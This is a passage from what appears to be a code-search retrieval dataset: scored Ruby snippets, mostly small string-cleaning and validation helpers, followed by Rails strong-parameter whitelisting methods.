"score": "0.6335077", "text": "def first_letter(string)\n string[0]\nend", "title": "" }, { "docid": "b17e1700d378e915dfd9821f6e4c4d4f", "score": "0.63321424", "text": "def sanitize(string)\n string.downcase.gsub(/[^A-Za-z0-9]/, '')\n end", "title": "" }, { "docid": "b4046fbb48d3b1b181048293a4ef8a94", "score": "0.63073325", "text": "def first_word(string) \n \tstring = string.split(' ')[0]\nend", "title": "" }, { "docid": "ab9eaef257d54fc3eaf04d31f5733b92", "score": "0.62958753", "text": "def start_of_word(string, char)\n\t string.slice(0, char)\n\tend", "title": "" }, { "docid": "2080836a5b76898e8e6bce379a9ca0a5", "score": "0.62938005", "text": "def func (str); raise unless String === str; str.str_func; end", "title": "" }, { "docid": "aebd46691597e5ed05a71fa05031d48f", "score": "0.6292508", "text": "def sub(string)\n string.gsub(/\\W+/, ' ')\nend", "title": "" }, { "docid": "e9238ae201fbaabfd8c940f91030eb09", "score": "0.6284111", "text": "def cleanup(str)\n str.tr_s('^a-zA-Z', ' ')\nend", "title": "" }, { "docid": "de6bee02ef4ddf4b71929df163874d3f", "score": "0.6279763", "text": "def validate_string string\n return string if string.valid_encoding?\n\n new_string = \"\"\n\n str_length = string.length\n midpoint = str_length/2 - 1\n\n if string.length <= 1\n if !string.valid_encoding?\n new_string = '??' + string.dump[3..4]\n @invalidCharacterFound = true\n else\n new_string = string\n end\n else\n new_string = validate_string(string[0..midpoint]) + validate_string(string[midpoint+1..str_length-1])\n end\n\n new_string\n end", "title": "" }, { "docid": "fe2c7b638be58f3099a6e750cfbfa0cf", "score": "0.6277836", "text": "def get_first_letter(string)\n return string[0]\nend", "title": "" }, { "docid": "290eab797d4b90943e8da8271c896fc7", "score": "0.6277749", "text": "def safe_string\n match_until TOKENS[:safe_string_until]\n end", "title": "" }, { "docid": "1a875c73f9fe39251927f79b04400bba", "score": "0.6276293", "text": "def nstring(str); end", "title": "" }, { "docid": "1a875c73f9fe39251927f79b04400bba", "score": "0.6276293", "text": "def nstring(str); end", "title": "" }, { "docid": "0cb017414fc901108262605866a5d210", "score": "0.6267911", "text": "def letter_check(str)\n str[/[a-z]+/] == str\n end", "title": "" }, { "docid": "64f9bfa139a28acc1ed6622a6f31d7e0", "score": "0.6263548", "text": "def cleanup(string)\n string.gsub(/[^a-zA-Z]/, ' ')\nend", "title": "" }, { "docid": "0f3dc0e260d131c1f149b974d2a0c050", "score": "0.6262594", "text": "def safe_argument(string)\n # Downcase params to avoid weird misconfiguration in IA's SOLR\n # installation, where it's interpreting uppercase words as\n # commands even within quotes. \n output = string.downcase\n \n # Remove parens, semi-colons, brackets, hyphens, colons -- they all mess\n # up IA, which thinks they are special chars. Remove double quote,\n # special char, which sometimes we want to use ourselves. Replace\n # all with spaces to avoid accidentally conjoining words. \n # (could be\n # escaping instead? Not worth it, we don't want to search\n # on these anyway. Remove ALL punctuation? Not sure.)\n output.gsub!(/[)(\\]\\[;\"\\=\\-\\:]/, ' ')\n \n return output\n end", "title": "" }, { "docid": "eedc5710a72c883a64cd5c25705b716c", "score": "0.62591183", "text": "def string\n @_st_inputString\n end", "title": "" }, { "docid": "f165531d00acbca5a37e68a82c9c92f6", "score": "0.6257582", "text": "def alpha(string)\n string.downcase.gsub(/[^a-z]/, '')\nend", "title": "" }, { "docid": "2a41be78b74758cad4ed290dc377a140", "score": "0.6257227", "text": "def amountIngredient(string)\n if string.include?(\" \")\n substring = string[0,string.index(\" \")]\n if substring =~ /^[^a-zA-Z].*/\n return substring\n end\n return\n end\n return string\nend", "title": "" }, { "docid": "f2c8609c3fe21e876f522c86090a621e", "score": "0.62525934", "text": "def my_string = (string)", "title": "" }, { "docid": "066fc98072ecbb2043fc8131f6a93bb3", "score": "0.62404907", "text": "def only_letters(str)\n str[/[a-zA-Z]+/] == str\nend", "title": "" }, { "docid": "3a0694cd1de31d88f86c9efe64e484ba", "score": "0.6238702", "text": "def validate_string(string)\n !string.match(/\\A[-a-zA-Z0-9]*\\z/).nil?\n end", "title": "" }, { "docid": "3a0694cd1de31d88f86c9efe64e484ba", "score": "0.6238665", "text": "def validate_string(string)\n !string.match(/\\A[-a-zA-Z0-9]*\\z/).nil?\n end", "title": "" }, { "docid": "8a1851ec014012920003e8e479693c87", "score": "0.6238555", "text": "def word_str\n\n end", "title": "" }, { "docid": "dc5fc3b42098011c65fb7d7ad0eb4fe1", "score": "0.62317467", "text": "def unquoted_string(str); end", "title": "" }, { "docid": "f294352be6ccaa2159da00db208f7dde", "score": "0.62248886", "text": "def makeAcronym(string)\n if string.class != String\n #ou if !string.is_a?(String) \n #ou return \"Not a string\" unless string.is_a?(String).\n \"Not a string\"\n elsif string.count(\"0-9\") > 0\n \"Not letters\"\n else\n string.split.map{|word|word[0]}.join.upcase\n end\nend", "title": "" }, { "docid": "03643b104a3c7756c81bcabf39ba1fda", "score": "0.62200654", "text": "def sanitize(string)\n string\n end", "title": "" }, { "docid": "6820334f937e8ca64e0795e3f1780cf2", "score": "0.62178177", "text": "def check_a_string_for_special_characters(string)\nend", "title": "" }, { "docid": "6820334f937e8ca64e0795e3f1780cf2", "score": "0.62178177", "text": "def check_a_string_for_special_characters(string)\nend", "title": "" }, { "docid": "6820334f937e8ca64e0795e3f1780cf2", "score": "0.62178177", "text": "def check_a_string_for_special_characters(string)\nend", "title": "" }, { "docid": "055f4ddaa5e3f08a247003a13cceff87", "score": "0.6215608", "text": "def cleanup(str)\n str.gsub(/[^a-z]+/i, \" \")\nend", "title": "" }, { "docid": "6d89e59fe619e02d57302cc0f9e9dd13", "score": "0.6207378", "text": "def sanitize(str)\n str.gsub(/[^[:ascii:]]/, '')\n .gsub(/[^A-Za-z0-9\\s]/, '')\n end", "title": "" }, { "docid": "9a82172611a3bbddc527cf00b272aa62", "score": "0.61974835", "text": "def remove_capital_letters_from_string(string)\nend", "title": "" }, { "docid": "9a82172611a3bbddc527cf00b272aa62", "score": "0.61974835", "text": "def remove_capital_letters_from_string(string)\nend", "title": "" }, { "docid": "59e9e91ee0ecb738836a5bee1fdb1a59", "score": "0.6197169", "text": "def cleanup(string)\n string.gsub(/[^a-zA-Z]+/, ' ')\nend", "title": "" }, { "docid": "0007f6fbbfa7ac73973b5394978fc345", "score": "0.61892384", "text": "def filter(string)\n return string.content.gsub(/\\s+/, \" \")\n end", "title": "" }, { "docid": "dd886430de84aeab827680bc9c863a57", "score": "0.6181377", "text": "def str(s)\n s.inspect[1..-2]\n end", "title": "" }, { "docid": "77df8c4a53762d42c15a22b300a42a2d", "score": "0.6179021", "text": "def clean_string(string)\n return string.gsub(/\\s+/, \" \").strip\n end", "title": "" }, { "docid": "a3150f273347cdacc09120e49472cd17", "score": "0.6175762", "text": "def cleanup(string)\n string.gsub(/[^a-zA-Z]+/,' ')\nend", "title": "" }, { "docid": "10be81b0164efb2275f33759f7970487", "score": "0.6172975", "text": "def clean_string(string)\n return string.downcase.gsub(/[^a-z]/, '')\nend", "title": "" }, { "docid": "10be81b0164efb2275f33759f7970487", "score": "0.61716205", "text": "def clean_string(string)\n return string.downcase.gsub(/[^a-z]/, '')\nend", "title": "" }, { "docid": "c21d5ee8e6eb5e4acae177f758c869ec", "score": "0.61707467", "text": "def string_yak(str)\nend", "title": "" }, { "docid": "42ae9aca72599772b9ea03b16c64f6b9", "score": "0.6166856", "text": "def capitals(string)\n string.gsub(/\\W|[a-z_]/,'')\n end", "title": "" }, { "docid": "2bd72a8af04466e96a574c86f3b62ff2", "score": "0.61617917", "text": "def cleanup(string)\n string.gsub!(/[^a-zA-Z]+/, ' ')\nend", "title": "" }, { "docid": "91c21075a75225bef35ae7ebcb5fb12c", "score": "0.6161658", "text": "def preprocess(string)\n\tstring = string.gsub(/\\W/, ' ')\n\tstring = string.downcase\n\treturn string\nend", "title": "" }, { "docid": "264c3845ab792be91ae0a2f2247241e7", "score": "0.6161276", "text": "def convert_string(str)\n str.downcase.split('').select { |char| char =~ /\\w/ }.join\nend", "title": "" }, { "docid": "30e538d2b6c187ef84fecc748d77545e", "score": "0.61572415", "text": "def quoted_string(str); end", "title": "" }, { "docid": "02105edbb4111d310787b5102ae4b965", "score": "0.61562", "text": "def search_string(string)\n string ||= ''\n string.downcase.gsub(/\\s/,'')\n end", "title": "" }, { "docid": "99a71522c682124d52d5e7d913d3e4e3", "score": "0.61522216", "text": "def cleanup(string)\n string.gsub(/[^a-z]+/i, ' ')\nend", "title": "" }, { "docid": "8f2be5c5439f38c12913527260234ff9", "score": "0.61435485", "text": "def sanitize(str); end", "title": "" }, { "docid": "fc906f63a93b891c27ca7c0f14a65b22", "score": "0.61420965", "text": "def filter_string(s)\n s.delete('a-z ').to_i\nend", "title": "" }, { "docid": "70e27ccdefd8111e2ca3ce699160397a", "score": "0.6139574", "text": "def shell_single_word(str)\n if str.empty?\n ShellEscaped.new_no_dup(\"''\")\n elsif %r{\\A[0-9A-Za-z+,./:=@_-]+\\z} =~ str\n ShellEscaped.new(str)\n else\n result = ''\n str.scan(/('+)|[^']+/) {\n if $1\n result << %q{\\'} * $1.length\n else\n result << \"'#{$&}'\"\n end\n }\n ShellEscaped.new_no_dup(result)\n end\n end", "title": "" }, { "docid": "ef74350e8e8b46e47e4a305515478cc0", "score": "0.6135226", "text": "def start_of_word( string, charAmount )\n returnString = \"\"\n for char in 0..charAmount - 1\n returnString << string[ char ]\n end\n returnString\nend", "title": "" }, { "docid": "93d22c9b73ba605e2b327884e006ff2c", "score": "0.6131429", "text": "def string!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 35 )\n\n type = STRING\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 63:9: '\\\"' ( NONCONTROL_CHAR )* '\\\"'\n match( 0x22 )\n # at line 63:13: ( NONCONTROL_CHAR )*\n while true # decision 6\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0 == 0x9 || look_6_0.between?( 0x20, 0x21 ) || look_6_0.between?( 0x23, 0x7e ) || look_6_0 == 0xe1 || look_6_0 == 0xe9 || look_6_0 == 0xed || look_6_0 == 0xf1 || look_6_0 == 0xf3 || look_6_0 == 0xfa )\n alt_6 = 1\n\n end\n case alt_6\n when 1\n # at line 63:13: NONCONTROL_CHAR\n noncontrol_char!\n\n else\n break # out of loop for decision 6\n end\n end # loop for decision 6\n match( 0x22 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 35 )\n\n end", "title": "" }, { "docid": "d628a725edaf32f5150abf926c2c54ed", "score": "0.6131188", "text": "def stripChars(string)\n return string.gsub(/[^0-9a-z ]/i, '')\nend", "title": "" }, { "docid": "a6b9f8414dec2d843e5ddba6e8eae74b", "score": "0.6123947", "text": "def sanitize(s)\n sani = \"\"\n s.each_byte do |c|\n if (c == 32 || (c >= 48 && c <= 57) || (c >= 65 && c <= 90) || (c >= 97 && c <= 122))\n sani += c.chr\n end\n end\n sani.gsub!(' ', '_')\n sani\nend", "title": "" }, { "docid": "ea749dfa5fb1dc40225bdfd0b85ee7a4", "score": "0.6119289", "text": "def valid_string?(str); end", "title": "" }, { "docid": "ea749dfa5fb1dc40225bdfd0b85ee7a4", "score": "0.6119289", "text": "def valid_string?(str); end", "title": "" }, { "docid": "ea749dfa5fb1dc40225bdfd0b85ee7a4", "score": "0.6119289", "text": "def valid_string?(str); end", "title": "" }, { "docid": "ea749dfa5fb1dc40225bdfd0b85ee7a4", "score": "0.6119289", "text": "def valid_string?(str); end", "title": "" }, { "docid": "940c66d49ccd044276c7fd687d501e61", "score": "0.6110853", "text": "def mystring(string)\n\t\tresults = []\n\t\tletters = string.split(\"\")\n\n\t\tletters.each do |letter|\n\t\t\tencrypt(letter)\n\t\t\tresults << encrypt(letter)\n\t\tend\n\t \tresults.join\n\tend", "title": "" }, { "docid": "f6412a60067a3ec52062613a2f95f7a4", "score": "0.61086535", "text": "def validate_string(v); end", "title": "" }, { "docid": "ceb24cad1389016eaf183d28ff122219", "score": "0.61024475", "text": "def allowable_letter_chars\n return \"adsubtrcmulipyvowe\"\n end", "title": "" }, { "docid": "07dd469447d6b1c5384c4e1477d35b43", "score": "0.6099156", "text": "def first_word(str)\n\tstr.split[0]\nend", "title": "" }, { "docid": "3df68fd2bbf44d26d5b2bee7c578d89c", "score": "0.6098484", "text": "def clean_up(str)\n str.gsub /[^A-Za-z]+/, ' '\nend", "title": "" }, { "docid": "5814e8ec1ff4e00993d4c95320883c09", "score": "0.60969", "text": "def cleanup(string)\n string.split(//).map do |char|\n char.ord >= 65 && char.ord <= 122 ? char : ' '\n end.join.squeeze(' ')\nend", "title": "" }, { "docid": "3362c7f76a4f63330f87e8c2658d7d43", "score": "0.6093448", "text": "def preprocess(str)\n str\n end", "title": "" }, { "docid": "7893bd323a575062500b565dbbd7f92b", "score": "0.6093364", "text": "def safe_str( str )\n return str.blank? ? \"[ריק]\" : h(str.strip);\n end", "title": "" }, { "docid": "110bece1f7e69bdd722f4b50f6d5ce3b", "score": "0.6083529", "text": "def character_string_to_string(character_string)\n length = character_string.slice 0\n length = length.ord unless Numeric === length\n string = character_string.slice 1, length\n\n if string.length != length then\n raise TypeError,\n \"invalid character string, expected #{length} got #{string.length} in #{@record.inspect}\"\n end\n\n string\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "0cda35156721efb8c0a394ae3a194031", "score": "0.0", "text": "def project_interest_point_params\n params.require(:project_interest_point).permit(:content, :project_id)\n end", "title": "" } ]
[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.69792545", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6781151", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.67419964", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.674013", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6734356", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6591046", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.6502396", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.6496313", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6480641", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.64565", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6438387", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.63791263", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.63740575", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.6364131", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.63192815", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.62991166", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.62978333", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.6292148", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6290449", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6290076", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.62894756", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6283177", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6242471", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62382483", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6217549", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.6214457", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.6209053", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.6193042", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.6177802", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.6174604", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.61714715", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6161512", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.6151757", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6150663", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.61461", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.61213595", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6106206", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6105114", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6089039", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6081015", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.6071004", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.6019971", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.601788", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6011056", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.6010898", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.6001556", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.6001049", "text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.59943926", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.5992201", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.59909594", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.5990628", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.5980841", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.59669393", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.59589154", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.5958826", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5957911", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.5957385", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5953072", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.59526145", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.5943361", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.59386164", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5933856", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.59292704", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.59254247", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5924164", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.59167904", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.59088355", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.5907542", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.59064597", "text": "def url_whitelist; end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.5906243", "text": "def admin_social_network_params\n 